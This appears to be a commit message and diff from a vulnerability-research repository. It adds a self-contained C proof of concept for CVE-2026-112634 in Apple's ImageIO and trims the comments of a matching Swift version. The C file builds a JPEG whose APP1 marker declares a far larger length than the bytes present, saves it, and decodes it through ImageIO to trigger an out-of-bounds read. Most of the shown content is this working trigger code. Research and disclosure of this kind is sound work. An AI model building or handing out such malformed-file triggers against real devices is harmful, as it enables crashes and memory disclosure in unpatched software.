v2.0 — 31 C POC twins + harness fixes

- 31 C POC files, one per CVE folder: full seed construction + trigger +
  main(), self-contained, no app dependency. All compile clean with
  clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded
  oracle on this host.
- CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is
  (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the
  mechanism behind the cm.rpu death oracle on the simulator build.
- Harness fixes: glyphCount guard, MachOInspector size guard, ModTools
  clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display.
- POC comments rewritten English-only (31 swift + arc.rr + 5 py).
- README (en/zh): C twin column, .c anatomy section, compile/run
  examples, C oracle verification status.
- Dead if-let binding removed from Identity summary; v2.0 build 3.

CVE-2026-112634/CVE-2026-112634.c

@@ -0,0 +1,73 @@
+// iio.jpeg.marker · ImageIO · _JPEGFile::processData · CVE-2026-112634
+// JPEG marker length beyond the bytes present
+// C twin of the Swift POC: builds the marker-overrun JPEG and decodes it through ImageIO.
+// Build: clang -O2 -o cve-2026-112634 CVE-2026-112634.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation
+// Run:   ./cve-2026-112634 [declared] [actual]
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+// ── byte buffer ──
+typedef struct { uint8_t *d; size_t n, cap; } buf;
+static void bneed(buf *b, size_t extra) {
+    if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
+}
+static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
+static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
+static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
+static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
+
+// ── seed construction (from Cinder27 Sources: JPEGPayload.markerLength) ──
+static buf jpeg_marker_length(int declared, int actual) {
+    buf out = {0};
+    bcat(&out, "\xff\xd8", 2);            // SOI
+    bcat(&out, "\xff\xe1", 2);            // APP1
+    bput(&out, (declared >> 8) & 0xff); bput(&out, declared & 0xff);
+    int body = actual - 2 > 0 ? actual - 2 : 0;
+    brep(&out, 0x41, body);
+    bcat(&out, "\xff\xd9", 2);            // EOI
+    return out;
+}
+
+// ── trigger: decode through ImageIO ──
+#include <ImageIO/ImageIO.h>
+#include <CoreGraphics/CoreGraphics.h>
+#include <CoreFoundation/CoreFoundation.h>
+
+static int decode_image(const buf *img, const char **detail) {
+    CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n);
+    if (!cf) { *detail = "CFDataCreate failed"; return -1; }
+    CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL);
+    CFRelease(cf);
+    if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; }
+    size_t frames = CGImageSourceGetCount(src);
+    CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL);
+    static char r[256];
+    if (cg) {
+        snprintf(r, sizeof r, "decoded %zu x %zu, %zu frame(s)",
+                 (size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames);
+        CGImageRelease(cg);
+    } else {
+        snprintf(r, sizeof r, "decode refused at index 0 (%zu frame(s) declared)", frames);
+    }
+    CFRelease(src);
+    *detail = r;
+    return cg ? 0 : -1;
+}
+
+int main(int argc, char **argv) {
+    int declared = argc > 1 ? (int)strtol(argv[1], NULL, 0) : 0xFFEE;
+    int actual = argc > 2 ? atoi(argv[2]) : 30;
+
+    buf jpeg = jpeg_marker_length(declared, actual);
+    FILE *f = fopen("marker_length.jpg", "wb");
+    if (f) { fwrite(jpeg.d, 1, jpeg.n, f); fclose(f); }
+
+    const char *detail = NULL;
+    int rc = decode_image(&jpeg, &detail);
+    printf("CVE-2026-112634 · APP1 declares 0x%x, file carries %d B · %s\n", declared, actual, detail ? detail : "?");
+    printf("seed: marker_length.jpg (%zu B) · exit code %d\n", jpeg.n, rc);
+    bfree(&jpeg);
+    return rc == 0 ? 0 : 1;
+}

CVE-2026-112634/CVE-2026-112634.swift

@@ -1,19 +1,8 @@
 // iio.jpeg.marker · ImageIO · _JPEGFile::processData · CVE-2026-112634
-// 原语: OOB 读 · 进程内 · tier 2
-// Primitive: OOB read · in-process · tier 2
-//
-// [zh] JPEG 标记长度越界
-// 当标记声明的长度远超实际存在的字节数时，27.0 仅记录一条 \"*** WARNING: check markerLength\" 并继续解析，导致越界读取；27.2 直接中止解析。
-//
-// [en] JPEG marker length out of bounds
-// When a marker declares a length far beyond the bytes actually present, 27.0 logs one "*** WARNING:
-// check markerLength" and keeps parsing, reading out of bounds. 27.2 aborts the parse.
-// ── 判别 / oracle ──
-// 长度 0xFFEE，实际负载 28 字节。
-
+// JPEG marker length out of bounds
 import Foundation
 
-// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
+// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
 enum B {
     static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
     static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -34,7 +23,7 @@ enum B {
     static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
 }
 
-// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (JPEGPayload) ──
+// ── seed construction (from Cinder27 Sources: JPEGPayload) ──
 enum JPEGPayload {
 static func markerLength(declared: Int = 0xFFEE, actual: Int = 30) -> Data {
         var out = minimalSOI()